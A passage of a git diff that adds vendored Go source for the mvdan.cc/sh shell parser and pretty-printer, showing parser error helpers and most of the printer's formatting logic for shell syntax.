p.curErr("[ must follow a name") + case colon: + p.curErr("ternary operator missing ? before :") + case rightParen, _EOF: + p.matchingErr(pos, left, right) + default: + if p.quote == arithmExpr { + p.curErr("not a valid arithmetic operator: %v", p.tok) + } + p.matchingErr(pos, left, right) + } +} + +func (p *Parser) matchedArithm(lpos Pos, left, right token) { + if !p.got(right) { + p.arithmMatchingErr(lpos, left, right) + } +} + +func (p *Parser) arithmEnd(ltok token, lpos Pos, old saveState) Pos { + if !p.peekArithmEnd() { + p.arithmMatchingErr(lpos, ltok, dblRightParen) + } + p.rune() + p.postNested(old) + pos := p.pos + p.next() + return pos +} diff --git a/vendor/mvdan.cc/sh/v3/syntax/printer.go b/vendor/mvdan.cc/sh/v3/syntax/printer.go new file mode 100644 index 0000000000..84ad68502e --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/syntax/printer.go @@ -0,0 +1,1530 @@ +// Copyright (c) 2016, Daniel Martí +// See LICENSE for licensing information + +package syntax + +import ( + "bufio" + "bytes" + "fmt" + "io" + "strings" + "text/tabwriter" + "unicode" + + "mvdan.cc/sh/v3/fileutil" +) + +// PrinterOption is a function which can be passed to NewPrinter +// to alter its behavior. To apply option to existing Printer +// call it directly, for example KeepPadding(true)(printer). +type PrinterOption func(*Printer) + +// Indent sets the number of spaces used for indentation. If set to 0, +// tabs will be used instead. +func Indent(spaces uint) PrinterOption { + return func(p *Printer) { p.indentSpaces = spaces } +} + +// BinaryNextLine will make binary operators appear on the next line +// when a binary command, such as a pipe, spans multiple lines. A +// backslash will be used. +func BinaryNextLine(enabled bool) PrinterOption { + return func(p *Printer) { p.binNextLine = enabled } +} + +// SwitchCaseIndent will make switch cases be indented. As such, switch +// case bodies will be two levels deeper than the switch itself. +func SwitchCaseIndent(enabled bool) PrinterOption { + return func(p *Printer) { p.swtCaseIndent = enabled } +} + +// TODO(v4): consider turning this into a "space all operators" option, to also +// allow foo=( bar baz ), (( x + y )), and so on. + +// SpaceRedirects will put a space after most redirection operators. The +// exceptions are '>&', '<&', '>(', and '<('. +func SpaceRedirects(enabled bool) PrinterOption { + return func(p *Printer) { p.spaceRedirects = enabled } +} + +// KeepPadding will keep most nodes and tokens in the same column that +// they were in the original source. This allows the user to decide how +// to align and pad their code with spaces. +// +// Note that this feature is best-effort and will only keep the +// alignment stable, so it may need some human help the first time it is +// run. +func KeepPadding(enabled bool) PrinterOption { + return func(p *Printer) { + if enabled && !p.keepPadding { + // Enable the flag, and set up the writer wrapper. + p.keepPadding = true + p.cols.Writer = p.bufWriter.(*bufio.Writer) + p.bufWriter = &p.cols + + } else if !enabled && p.keepPadding { + // Ensure we reset the state to that of NewPrinter. + p.keepPadding = false + p.bufWriter = p.cols.Writer + p.cols = colCounter{} + } + } +} + +// Minify will print programs in a way to save the most bytes possible. +// For example, indentation and comments are skipped, and extra +// whitespace is avoided when possible. +func Minify(enabled bool) PrinterOption { + return func(p *Printer) { p.minify = enabled } +} + +// SingleLine will attempt to print programs in one line. For example, lists of +// commands or nested blocks do not use newlines in this mode. Note that some +// newlines must still appear, such as those following comments or around +// here-documents. +// +// Print's trailing newline when given a *File is not affected by this option. +func SingleLine(enabled bool) PrinterOption { + return func(p *Printer) { p.singleLine = enabled } +} + +// FunctionNextLine will place a function's opening braces on the next line. +func FunctionNextLine(enabled bool) PrinterOption { + return func(p *Printer) { p.funcNextLine = enabled } +} + +// NewPrinter allocates a new Printer and applies any number of options. +func NewPrinter(opts ...PrinterOption) *Printer { + p := &Printer{ + bufWriter: bufio.NewWriter(nil), + tabWriter: new(tabwriter.Writer), + } + for _, opt := range opts { + opt(p) + } + return p +} + +// Print "pretty-prints" the given syntax tree node to the given writer. Writes +// to w are buffered. +// +// The node types supported at the moment are *File, *Stmt, *Word, *Assign, any +// Command node, and any WordPart node. A trailing newline will only be printed +// when a *File is used. +func (p *Printer) Print(w io.Writer, node Node) error { + p.reset() + + if p.minify && p.singleLine { + return fmt.Errorf("Minify and SingleLine together are not supported yet; please file an issue describing your use case: https://github.com/mvdan/sh/issues") + } + + // TODO: consider adding a raw mode to skip the tab writer, much like in + // go/printer. + twmode := tabwriter.DiscardEmptyColumns | tabwriter.StripEscape + tabwidth := 8 + if p.indentSpaces == 0 { + // indenting with tabs + twmode |= tabwriter.TabIndent + } else { + // indenting with spaces + tabwidth = int(p.indentSpaces) + } + p.tabWriter.Init(w, 0, tabwidth, 1, ' ', twmode) + w = p.tabWriter + + p.bufWriter.Reset(w) + switch x := node.(type) { + case *File: + p.stmtList(x.Stmts, x.Last) + p.newline(Pos{}) + case *Stmt: + p.stmtList([]*Stmt{x}, nil) + case Command: + p.command(x, nil) + case *Word: + p.line = x.Pos().Line() + p.word(x) + case WordPart: + p.line = x.Pos().Line() + p.wordPart(x, nil) + case *Assign: + p.line = x.Pos().Line() + p.assigns([]*Assign{x}) + default: + return fmt.Errorf("unsupported node type: %T", x) + } + p.flushHeredocs() + p.flushComments() + + // flush the writers + if err := p.bufWriter.Flush(); err != nil { + return err + } + if tw, _ := w.(*tabwriter.Writer); tw != nil { + if err := tw.Flush(); err != nil { + return err + } + } + return nil +} + +type bufWriter interface { + Write([]byte) (int, error) + WriteString(string) (int, error) + WriteByte(byte) error + Reset(io.Writer) + Flush() error +} + +type colCounter struct { + *bufio.Writer + column int + lineStart bool +} + +func (c *colCounter) addByte(b byte) { + switch b { + case '\n': + c.column = 0 + c.lineStart = true + case '\t', ' ', tabwriter.Escape: + default: + c.lineStart = false + } + c.column++ +} + +func (c *colCounter) WriteByte(b byte) error { + c.addByte(b) + return c.Writer.WriteByte(b) +} + +func (c *colCounter) WriteString(s string) (int, error) { + for _, b := range []byte(s) { + c.addByte(b) + } + return c.Writer.WriteString(s) +} + +func (c *colCounter) Reset(w io.Writer) { + c.column = 1 + c.lineStart = true + c.Writer.Reset(w) +} + +// Printer holds the internal state of the printing mechanism of a +// program. +type Printer struct { + bufWriter // TODO: embedding this makes the methods part of the API, which we did not intend + tabWriter *tabwriter.Writer + cols colCounter + + indentSpaces uint + binNextLine bool + swtCaseIndent bool + spaceRedirects bool + keepPadding bool + minify bool + singleLine bool + funcNextLine bool + + wantSpace wantSpaceState // whether space is required or has been written + + wantNewline bool // newline is wanted for pretty-printing; ignored by singleLine; ignored by singleLine + mustNewline bool // newline is required to keep shell syntax valid + wroteSemi bool // wrote ';' for the current statement + + // pendingComments are any comments in the current line or statement + // that we have yet to print. This is useful because that way, we can + // ensure that all comments are written immediately before a newline. + // Otherwise, in some edge cases we might wrongly place words after a + // comment in the same line, breaking programs. + pendingComments []Comment + + // firstLine means we are still writing the first line + firstLine bool + // line is the current line number + line uint + + // lastLevel is the last level of indentation that was used. + lastLevel uint + // level is the current level of indentation. + level uint + // levelIncs records which indentation level increments actually + // took place, to revert them once their section ends. + levelIncs []bool + + nestedBinary bool + + // pendingHdocs is the list of pending heredocs to write. + pendingHdocs []*Redirect + + // used when printing <<- heredocs with tab indentation + tabsPrinter *Printer +} + +func (p *Printer) reset() { + p.wantSpace = spaceWritten + p.wantNewline, p.mustNewline = false, false + p.pendingComments = p.pendingComments[:0] + + // minification uses its own newline logic + p.firstLine = !p.minify + p.line = 0 + + p.lastLevel, p.level = 0, 0 + p.levelIncs = p.levelIncs[:0] + p.nestedBinary = false + p.pendingHdocs = p.pendingHdocs[:0] +} + +func (p *Printer) spaces(n uint) { + for i := uint(0); i < n; i++ { + p.WriteByte(' ') + } +} + +func (p *Printer) space() { + p.WriteByte(' ') + p.wantSpace = spaceWritten +} + +func (p *Printer) spacePad(pos Pos) { + if p.cols.lineStart && p.indentSpaces == 0 { + // Never add padding at the start of a line unless we are indenting + // with spaces, since this may result in mixing of spaces and tabs. + return + } + if p.wantSpace == spaceRequired { + p.WriteByte(' ') + p.wantSpace = spaceWritten + } + for p.cols.column > 0 && p.cols.column < int(pos.Col()) { + p.WriteByte(' ') + } +} + +// wantsNewline reports whether we want to print at least one newline before +// printing a node at a given position. A zero position can be given to simply +// tell if we want a newline following what's just been printed. +func (p *Printer) wantsNewline(pos Pos, escapingNewline bool) bool { + if p.mustNewline { + // We must have a newline here. + return true + } + if p.singleLine && len(p.pendingComments) == 0 { + // The newline is optional, and singleLine skips it. + // Don't skip if there are any pending comments, + // as that might move them further down to the wrong place. + return false + } + if escapingNewline && p.minify { + return false + } + // The newline is optional, and we want it via either wantNewline or via + // the position's line. + return p.wantNewline || pos.Line() > p.line +} + +func (p *Printer) bslashNewl() { + if p.wantSpace == spaceRequired { + p.space() + } + p.WriteString("\\\n") + p.line++ + p.indent() +} + +func (p *Printer) spacedString(s string, pos Pos) { + p.spacePad(pos) + p.WriteString(s) + p.wantSpace = spaceRequired +} + +func (p *Printer) spacedToken(s string, pos Pos) { + if p.minify { + p.WriteString(s) + p.wantSpace = spaceNotRequired + return + } + p.spacePad(pos) + p.WriteString(s) + p.wantSpace = spaceRequired +} + +func (p *Printer) semiOrNewl(s string, pos Pos) { + if p.wantsNewline(Pos{}, false) { + p.newline(pos) + p.indent() + } else { + if !p.wroteSemi { + p.WriteByte(';') + } + if !p.minify { + p.space() + } + p.advanceLine(pos.Line()) + } + p.WriteString(s) + p.wantSpace = spaceRequired +} + +func (p *Printer) writeLit(s string) { + // If p.tabWriter is nil, this is the nested printer being used to print + // <<- heredoc bodies, so the parent printer will add the escape bytes + // later. + if p.tabWriter != nil && strings.Contains(s, "\t") { + p.WriteByte(tabwriter.Escape) + defer p.WriteByte(tabwriter.Escape) + } + p.WriteString(s) +} + +func (p *Printer) incLevel() { + inc := false + if p.level <= p.lastLevel || len(p.levelIncs) == 0 { + p.level++ + inc = true + } else if last := &p.levelIncs[len(p.levelIncs)-1]; *last { + *last = false + inc = true + } + p.levelIncs = append(p.levelIncs, inc) +} + +func (p *Printer) decLevel() { + if p.levelIncs[len(p.levelIncs)-1] { + p.level-- + } + p.levelIncs = p.levelIncs[:len(p.levelIncs)-1] +} + +func (p *Printer) indent() { + if p.minify { + return + } + p.lastLevel = p.level + switch { + case p.level == 0: + case p.indentSpaces == 0: + p.WriteByte(tabwriter.Escape) + for i := uint(0); i < p.level; i++ { + p.WriteByte('\t') + } + p.WriteByte(tabwriter.Escape) + default: + p.spaces(p.indentSpaces * p.level) + } +} + +// TODO(mvdan): add an indent call at the end of newline? + +// newline prints one newline and advances p.line to pos.Line(). +func (p *Printer) newline(pos Pos) { + p.flushHeredocs() + p.flushComments() + p.WriteByte('\n') + p.wantSpace = spaceWritten + p.wantNewline, p.mustNewline = false, false + p.advanceLine(pos.Line()) +} + +func (p *Printer) advanceLine(line uint) { + if p.line < line { + p.line = line + } +} + +func (p *Printer) flushHeredocs() { + if len(p.pendingHdocs) == 0 { + return + } + hdocs := p.pendingHdocs + p.pendingHdocs = p.pendingHdocs[:0] + coms := p.pendingComments + p.pendingComments = nil + if len(coms) > 0 { + c := coms[0] + if c.Pos().Line() == p.line { + p.pendingComments = append(p.pendingComments, c) + p.flushComments() + coms = coms[1:] + } + } + + // Reuse the last indentation level, as + // indentation levels are usually changed before + // newlines are printed along with their + // subsequent indentation characters. + newLevel := p.level + p.level = p.lastLevel + + for _, r := range hdocs { + p.line++ + p.WriteByte('\n') + p.wantSpace = spaceWritten + p.wantNewline, p.wantNewline = false, false + if r.Op == DashHdoc && p.indentSpaces == 0 && !p.minify { + if r.Hdoc != nil { + extra := extraIndenter{ + bufWriter: p.bufWriter, + baseIndent: int(p.level + 1), + firstIndent: -1, + } + p.tabsPrinter = &Printer{ + bufWriter: &extra, + + // The options need to persist. + indentSpaces: p.indentSpaces, + binNextLine: p.binNextLine, + swtCaseIndent: p.swtCaseIndent, + spaceRedirects: p.spaceRedirects, + keepPadding: p.keepPadding, + minify: p.minify, + funcNextLine: p.funcNextLine, + + line: r.Hdoc.Pos().Line(), + } + p.tabsPrinter.wordParts(r.Hdoc.Parts, true) + } + p.indent() + } else if r.Hdoc != nil { + p.wordParts(r.Hdoc.Parts, true) + } + p.unquotedWord(r.Word) + if r.Hdoc != nil { + // Overwrite p.line, since printing r.Word again can set + // p.line to the beginning of the heredoc again. + p.advanceLine(r.Hdoc.End().Line()) + } + p.wantSpace = spaceNotRequired + } + p.level = newLevel + p.pendingComments = coms + p.mustNewline = true +} + +// newline prints between zero and two newlines. +// If any newlines are printed, it advances p.line to pos.Line(). +func (p *Printer) newlines(pos Pos) { + if p.firstLine && len(p.pendingComments) == 0 { + p.firstLine = false + return // no empty lines at the top + } + if !p.wantsNewline(pos, false) { + return + } + p.flushHeredocs() + p.flushComments() + p.WriteByte('\n') + p.wantSpace = spaceWritten + p.wantNewline, p.mustNewline = false, false + + l := pos.Line() + if l > p.line+1 && !p.minify { + p.WriteByte('\n') // preserve single empty lines + } + p.advanceLine(l) + p.indent() +} + +func (p *Printer) rightParen(pos Pos) { + if len(p.pendingHdocs) > 0 || !p.minify { + p.newlines(pos) + } + p.WriteByte(')') + p.wantSpace = spaceRequired +} + +func (p *Printer) semiRsrv(s string, pos Pos) { + if p.wantsNewline(pos, false) { + p.newlines(pos) + } else { + if !p.wroteSemi { + p.WriteByte(';') + } + if !p.minify { + p.spacePad(pos) + } + } + p.WriteString(s) + p.wantSpace = spaceRequired +} + +func (p *Printer) flushComments() { + for i, c := range p.pendingComments { + if i == 0 { + // Flush any pending heredocs first. Otherwise, the + // comments would become part of a heredoc body. + p.flushHeredocs() + } + p.firstLine = false + // We can't call any of the newline methods, as they call this + // function and we'd recurse forever. + cline := c.Hash.Line() + switch { + case p.mustNewline, i > 0, cline > p.line && p.line > 0: + p.WriteByte('\n') + if cline > p.line+1 { + p.WriteByte('\n') + } + p.indent() + p.wantSpace = spaceWritten + p.spacePad(c.Pos()) + case p.wantSpace == spaceRequired: + if p.keepPadding { + p.spacePad(c.Pos()) + } else { + p.WriteByte('\t') + } + case p.wantSpace != spaceWritten: + p.space() + } + // don't go back one line, which may happen in some edge cases + p.advanceLine(cline) + p.WriteByte('#') + p.writeLit(strings.TrimRightFunc(c.Text, unicode.IsSpace)) + p.wantNewline = true + p.mustNewline = true + } + p.pendingComments = nil +} + +func (p *Printer) comments(comments ...Comment) { + if p.minify { + for _, c := range comments { + if fileutil.Shebang([]byte("#"+c.Text)) != "" && c.Hash.Col() == 1 && c.Hash.Line() == 1 { + p.WriteString(strings.TrimRightFunc("#"+c.Text, unicode.IsSpace)) + p.WriteString("\n") + p.line++ + } + } + return + } + p.pendingComments = append(p.pendingComments, comments...) +} + +func (p *Printer) wordParts(wps []WordPart, quoted bool) { + // We disallow unquoted escaped newlines between word parts below. + // However, we want to allow a leading escaped newline for cases such as: + // + // foo <<< \ + // "bar baz" + if !quoted && !p.singleLine && wps[0].Pos().Line() > p.line { + p.bslashNewl() + } + for i, wp := range wps { + var next WordPart + if i+1 < len(wps) { + next = wps[i+1] + } + // Keep escaped newlines separating word parts when quoted. + // Note that those escaped newlines don't cause indentaiton. + // When not quoted, we strip them out consistently, + // because attempting to keep them would prevent indentation. + // Can't use p.wantsNewline here, since this is only about + // escaped newlines. + for quoted && !p.singleLine && wp.Pos().Line() > p.line { + p.WriteString("\\\n") + p.line++ + } + p.wordPart(wp, next) + p.advanceLine(wp.End().Line()) + } +} + +func (p *Printer) wordPart(wp, next WordPart) { + switch x := wp.(type) { + case *Lit: + p.writeLit(x.Value) + case *SglQuoted: + if x.Dollar { + p.WriteByte('$') + } + p.WriteByte('\'') + p.writeLit(x.Value) + p.WriteByte('\'') + p.advanceLine(x.End().Line()) + case *DblQuoted: + p.dblQuoted(x) + case *CmdSubst: + p.advanceLine(x.Pos().Line()) + switch { + case x.TempFile: + p.WriteString("${") + p.wantSpace = spaceRequired + p.nestedStmts(x.Stmts, x.Last, x.Right) + p.wantSpace = spaceNotRequired + p.semiRsrv("}", x.Right) + case x.ReplyVar: + p.WriteString("${|") + p.nestedStmts(x.Stmts, x.Last, x.Right) + p.wantSpace = spaceNotRequired + p.semiRsrv("}", x.Right) + // Special case: `# inline comment` + case x.Backquotes && len(x.Stmts) == 0 && + len(x.Last) == 1 && x.Right.Line() == p.line: + p.WriteString("`#") + p.WriteString(x.Last[0].Text) + p.WriteString("`") + default: + p.WriteString("$(") + if len(x.Stmts) > 0 && startsWithLparen(x.Stmts[0]) { + p.wantSpace = spaceRequired + } else { + p.wantSpace = spaceNotRequired + } + p.nestedStmts(x.Stmts, x.Last, x.Right) + p.rightParen(x.Right) + } + case *ParamExp: + litCont := ";" + if nextLit, ok := next.(*Lit); ok && nextLit.Value != "" { + litCont = nextLit.Value[:1] + } + name := x.Param.Value + switch { + case !p.minify: + case x.Excl, x.Length, x.Width: + case x.Index != nil, x.Slice != nil: + case x.Repl != nil, x.Exp != nil: + case len(name) > 1 && !ValidName(name): // ${10} + case ValidName(name + litCont): // ${var}cont + default: + x2 := *x + x2.Short = true + p.paramExp(&x2) + return + } + p.paramExp(x) + case *ArithmExp: + p.WriteString("$((") + if x.Unsigned { + p.WriteString("# ") + } + p.arithmExpr(x.X, false, false) + p.WriteString("))") + case *ExtGlob: + p.WriteString(x.Op.String()) + p.writeLit(x.Pattern.Value) + p.WriteByte(')') + case *ProcSubst: + // avoid conflict with << and others + if p.wantSpace == spaceRequired { + p.space() + } + p.WriteString(x.Op.String()) + p.nestedStmts(x.Stmts, x.Last, x.Rparen) + p.rightParen(x.Rparen) + } +} + +func (p *Printer) dblQuoted(dq *DblQuoted) { + if dq.Dollar { + p.WriteByte('$') + } + p.WriteByte('"') + if len(dq.Parts) > 0 { + p.wordParts(dq.Parts, true) + } + // Add any trailing escaped newlines. + for p.line < dq.Right.Line() { + p.WriteString("\\\n") + p.line++ + } + p.WriteByte('"') +} + +func (p *Printer) wroteIndex(index ArithmExpr) bool { + if index == nil { + return false + } + p.WriteByte('[') + p.arithmExpr(index, false, false) + p.WriteByte(']') + return true +} + +func (p *Printer) paramExp(pe *ParamExp) { + if pe.nakedIndex() { // arr[x] + p.writeLit(pe.Param.Value) + p.wroteIndex(pe.Index) + return + } + if pe.Short { // $var + p.WriteByte('$') + p.writeLit(pe.Param.Value) + return + } + // ${var...} + p.WriteString("${") + switch { + case pe.Length: + p.WriteByte('#') + case pe.Width: + p.WriteByte('%') + case pe.Excl: + p.WriteByte('!') + } + p.writeLit(pe.Param.Value) + p.wroteIndex(pe.Index) + switch { + case pe.Slice != nil: + p.WriteByte(':') + p.arithmExpr(pe.Slice.Offset, true, true) + if pe.Slice.Length != nil { + p.WriteByte(':') + p.arithmExpr(pe.Slice.Length, true, false) + } + case pe.Repl != nil: + if pe.Repl.All { + p.WriteByte('/') + } + p.WriteByte('/') + if pe.Repl.Orig != nil { + p.word(pe.Repl.Orig) + } + p.WriteByte('/') + if pe.Repl.With != nil { + p.word(pe.Repl.With) + } + case pe.Names != 0: + p.writeLit(pe.Names.String()) + case pe.Exp != nil: + p.WriteString(pe.Exp.Op.String()) + if pe.Exp.Word != nil { + p.word(pe.Exp.Word) + } + } + p.WriteByte('}') +} + +func (p *Printer) loop(loop Loop) { + switch x := loop.(type) { + case *WordIter: + p.writeLit(x.Name.Value) + if x.InPos.IsValid() { + p.spacedString(" in", Pos{}) + p.wordJoin(x.Items) + } + case *CStyleLoop: + p.WriteString("((") + if x.Init == nil { + p.space() + } + p.arithmExpr(x.Init, false, false) + p.WriteString("; ") + p.arithmExpr(x.Cond, false, false) + p.WriteString("; ") + p.arithmExpr(x.Post, false, false) + p.WriteString("))") + } +} + +func (p *Printer) arithmExpr(expr ArithmExpr, compact, spacePlusMinus bool) { + if p.minify { + compact = true + } + switch x := expr.(type) { + case *Word: + p.word(x) + case *BinaryArithm: + if compact { + p.arithmExpr(x.X, compact, spacePlusMinus) + p.WriteString(x.Op.String()) + p.arithmExpr(x.Y, compact, false) + } else { + p.arithmExpr(x.X, compact, spacePlusMinus) + if x.Op != Comma { + p.space() + } + p.WriteString(x.Op.String()) + p.space() + p.arithmExpr(x.Y, compact, false) + } + case *UnaryArithm: + if x.Post { + p.arithmExpr(x.X, compact, spacePlusMinus) + p.WriteString(x.Op.String()) + } else { + if spacePlusMinus { + switch x.Op { + case Plus, Minus: + p.space() + } + } + p.WriteString(x.Op.String()) + p.arithmExpr(x.X, compact, false) + } + case *ParenArithm: + p.WriteByte('(') + p.arithmExpr(x.X, false, false) + p.WriteByte(')') + } +} + +func (p *Printer) testExpr(expr TestExpr) { + // Multi-line test expressions don't need to escape newlines. + if expr.Pos().Line() > p.line { + p.newlines(expr.Pos()) + p.spacePad(expr.Pos()) + } else if p.wantSpace == spaceRequired { + p.space() + } + p.testExprSameLine(expr) +} + +func (p *Printer) testExprSameLine(expr TestExpr) { + p.advanceLine(expr.Pos().Line()) + switch x := expr.(type) { + case *Word: + p.word(x) + case *BinaryTest: + p.testExprSameLine(x.X) + p.space() + p.WriteString(x.Op.String()) + switch x.Op { + case AndTest, OrTest: + p.wantSpace = spaceRequired + p.testExpr(x.Y) + default: + p.space() + p.testExprSameLine(x.Y) + } + case *UnaryTest: + p.WriteString(x.Op.String()) + p.space() + p.testExprSameLine(x.X) + case *ParenTest: + p.WriteByte('(') + if startsWithLparen(x.X) { + p.wantSpace = spaceRequired + } else { + p.wantSpace = spaceNotRequired + } + p.testExpr(x.X) + p.WriteByte(')') + } +} + +func (p *Printer) word(w *Word) { + p.wordParts(w.Parts, false) + p.wantSpace = spaceRequired +} + +func (p *Printer) unquotedWord(w *Word) { + for _, wp := range w.Parts { + switch x := wp.(type) { + case *SglQuoted: + p.writeLit(x.Value) + case *DblQuoted: + p.wordParts(x.Parts, true) + case *Lit: + for i := 0; i < len(x.Value); i++ { + if b := x.Value[i]; b == '\\' { + if i++; i < len(x.Value) { + p.WriteByte(x.Value[i]) + } + } else { + p.WriteByte(b) + } + } + } + } +} + +func (p *Printer) wordJoin(ws []*Word) { + anyNewline := false + for _, w := range ws { + if pos := w.Pos(); pos.Line() > p.line && !p.singleLine { + if !anyNewline { + p.incLevel() + anyNewline = true + } + p.bslashNewl() + } + p.spacePad(w.Pos()) + p.word(w) + } + if anyNewline { + p.decLevel() + } +} + +func (p *Printer) casePatternJoin(pats []*Word) { + anyNewline := false + for i, w := range pats { + if i > 0 { + p.spacedToken("|", Pos{}) + } + if p.wantsNewline(w.Pos(), true) { + if !anyNewline { + p.incLevel() + anyNewline = true + } + p.bslashNewl() + } else { + p.spacePad(w.Pos()) + } + p.word(w) + } + if anyNewline { + p.decLevel() + } +} + +func (p *Printer) elemJoin(elems []*ArrayElem, last []Comment) { + p.incLevel() + for _, el := range elems { + var left []Comment + for _, c := range el.Comments { + if c.Pos().After(el.Pos()) { + left = append(left, c) + break + } + p.comments(c) + } + // Multi-line array expressions don't need to escape newlines. + if el.Pos().Line() > p.line { + p.newlines(el.Pos()) + p.spacePad(el.Pos()) + } else if p.wantSpace == spaceRequired { + p.space() + } + if p.wroteIndex(el.Index) { + p.WriteByte('=') + } + if el.Value != nil { + p.word(el.Value) + } + p.comments(left...) + } + if len(last) > 0 { + p.comments(last...) + p.flushComments() + } + p.decLevel() +} + +func (p *Printer) stmt(s *Stmt) { + p.wroteSemi = false + if s.Negated { + p.spacedString("!", s.Pos()) + } + var startRedirs int + if s.Cmd != nil { + startRedirs = p.command(s.Cmd, s.Redirs) + } + p.incLevel() + for _, r := range s.Redirs[startRedirs:] { + if p.wantsNewline(r.OpPos, true) { + p.bslashNewl() + } + if p.wantSpace == spaceRequired { + p.spacePad(r.Pos()) + } + if r.N != nil { + p.writeLit(r.N.Value) + } + p.WriteString(r.Op.String()) + if p.spaceRedirects && (r.Op != DplIn && r.Op != DplOut) { + p.space() + } else { + p.wantSpace = spaceRequired + } + p.word(r.Word) + if r.Op == Hdoc || r.Op == DashHdoc { + p.pendingHdocs = append(p.pendingHdocs, r) + } + } + sep := s.Semicolon.IsValid() && s.Semicolon.Line() > p.line && !p.singleLine + if sep || s.Background || s.Coprocess { + if sep { + p.bslashNewl() + } else if !p.minify { + p.space() + } + if s.Background { + p.WriteString("&") + } else if s.Coprocess { + p.WriteString("|&") + } else { + p.WriteString(";") + } + p.wroteSemi = true + p.wantSpace = spaceRequired + } + p.decLevel() +} + +func (p *Printer) command(cmd Command, redirs []*Redirect) (startRedirs int) { + p.advanceLine(cmd.Pos().Line()) + p.spacePad(cmd.Pos()) + switch x := cmd.(type) { + case *CallExpr: + p.assigns(x.Assigns) + if len(x.Args) <= 1 { + p.wordJoin(x.Args) + return 0 + } + p.wordJoin(x.Args[:1]) + for _, r := range redirs { + if r.Pos().After(x.Args[1].Pos()) || r.Op == Hdoc || r.Op == DashHdoc { + break + } + if p.wantSpace == spaceRequired { + p.spacePad(r.Pos()) + } + if r.N != nil { + p.writeLit(r.N.Value) + } + p.WriteString(r.Op.String()) + if p.spaceRedirects && (r.Op != DplIn && r.Op != DplOut) { + p.space() + } else { + p.wantSpace = spaceRequired + } + p.word(r.Word) + startRedirs++ + } + p.wordJoin(x.Args[1:]) + case *Block: + p.WriteByte('{') + p.wantSpace = spaceRequired + // Forbid "foo()\n{ bar; }" + p.wantNewline = p.wantNewline || p.funcNextLine + p.nestedStmts(x.Stmts, x.Last, x.Rbrace) + p.semiRsrv("}", x.Rbrace) + case *IfClause: + p.ifClause(x, false) + case *Subshell: + p.WriteByte('(') + stmts := x.Stmts + if len(stmts) > 0 && startsWithLparen(stmts[0]) { + p.wantSpace = spaceRequired + // Add a space between nested parentheses if we're printing them in a single line, + // to avoid the ambiguity between `((` and `( (`. + if (x.Lparen.Line() != stmts[0].Pos().Line() || len(stmts) > 1) && !p.singleLine { + p.wantSpace = spaceNotRequired + + if p.minify { + p.mustNewline = true + } + } + } else { + p.wantSpace = spaceNotRequired + } + + p.spacePad(stmtsPos(x.Stmts, x.Last)) + p.nestedStmts(x.Stmts, x.Last, x.Rparen) + p.wantSpace = spaceNotRequired + p.spacePad(x.Rparen) + p.rightParen(x.Rparen) + case *WhileClause: + if x.Until { + p.spacedString("until", x.Pos()) + } else { + p.spacedString("while", x.Pos()) + } + p.nestedStmts(x.Cond, x.CondLast, Pos{}) + p.semiOrNewl("do", x.DoPos) + p.nestedStmts(x.Do, x.DoLast, x.DonePos) + p.semiRsrv("done", x.DonePos) + case *ForClause: + if x.Select { + p.WriteString("select ") + } else { + p.WriteString("for ") + } + p.loop(x.Loop) + p.semiOrNewl("do", x.DoPos) + p.nestedStmts(x.Do, x.DoLast, x.DonePos) + p.semiRsrv("done", x.DonePos) + case *BinaryCmd: + p.stmt(x.X) + if p.minify || p.singleLine || x.Y.Pos().Line() <= p.line { + // leave p.nestedBinary untouched + p.spacedToken(x.Op.String(), x.OpPos) + p.advanceLine(x.Y.Pos().Line()) + p.stmt(x.Y) + break + } + indent := !p.nestedBinary + if indent { + p.incLevel() + } + if p.binNextLine { + if len(p.pendingHdocs) == 0 { + p.bslashNewl() + } + p.spacedToken(x.Op.String(), x.OpPos) + if len(x.Y.Comments) > 0 { + p.wantSpace = spaceNotRequired + p.newline(x.Y.Pos()) + p.indent() + p.comments(x.Y.Comments...) + p.newline(Pos{}) + p.indent() + } + } else { + p.spacedToken(x.Op.String(), x.OpPos) + p.advanceLine(x.OpPos.Line()) + p.comments(x.Y.Comments...) + p.newline(Pos{}) + p.indent() + } + p.advanceLine(x.Y.Pos().Line()) + _, p.nestedBinary = x.Y.Cmd.(*BinaryCmd) + p.stmt(x.Y) + if indent { + p.decLevel() + } + p.nestedBinary = false + case *FuncDecl: + if x.RsrvWord { + p.WriteString("function ") + } + p.writeLit(x.Name.Value) + if !x.RsrvWord || x.Parens { + p.WriteString("()") + } + if p.funcNextLine { + p.newline(Pos{}) + p.indent() + } else if !x.Parens || !p.minify { + p.space() + } + p.advanceLine(x.Body.Pos().Line()) + p.comments(x.Body.Comments...) + p.stmt(x.Body) + case *CaseClause: + p.WriteString("case ") + p.word(x.Word) + p.WriteString(" in") + p.advanceLine(x.In.Line()) + p.wantSpace = spaceRequired + if p.swtCaseIndent { + p.incLevel() + } + if len(x.Items) == 0 { + // Apparently "case x in; esac" is invalid shell. + p.mustNewline = true + } + for i, ci := range x.Items { + var last []Comment + for i, c := range ci.Comments { + if c.Pos().After(ci.Pos()) { + last = ci.Comments[i:] + break + } + p.comments(c) + } + p.newlines(ci.Pos()) + p.spacePad(ci.Pos()) + p.casePatternJoin(ci.Patterns) + p.WriteByte(')') + if !p.minify { + p.wantSpace = spaceRequired + } else { + p.wantSpace = spaceNotRequired + } + + bodyPos := stmtsPos(ci.Stmts, ci.Last) + bodyEnd := stmtsEnd(ci.Stmts, ci.Last) + sep := len(ci.Stmts) > 1 || bodyPos.Line() > p.line || + (bodyEnd.IsValid() && ci.OpPos.Line() > bodyEnd.Line()) + p.nestedStmts(ci.Stmts, ci.Last, ci.OpPos) + p.level++ + if !p.minify || i != len(x.Items)-1 { + if sep { + p.newlines(ci.OpPos) + p.wantNewline = true + } + p.spacedToken(ci.Op.String(), ci.OpPos) + p.advanceLine(ci.OpPos.Line()) + // avoid ; directly after tokens like ;; + p.wroteSemi = true + } + p.comments(last...) + p.flushComments() + p.level-- + } + p.comments(x.Last...) + if p.swtCaseIndent { + p.flushComments() + p.decLevel() + } + p.semiRsrv("esac", x.Esac) + case *ArithmCmd: + p.WriteString("((") + if x.Unsigned { + p.WriteString("# ") + } + p.arithmExpr(x.X, false, false) + p.WriteString("))") + case *TestClause: + p.WriteString("[[ ") + p.incLevel() + p.testExpr(x.X) + p.decLevel() + p.spacedString("]]", x.Right) + case *DeclClause: + p.spacedString(x.Variant.Value, x.Pos()) + p.assigns(x.Args) + case *TimeClause: + p.spacedString("time", x.Pos()) + if x.PosixFormat { + p.spacedString("-p", x.Pos()) + } + if x.Stmt != nil { + p.stmt(x.Stmt) + } + case *CoprocClause: + p.spacedString("coproc", x.Pos()) + if 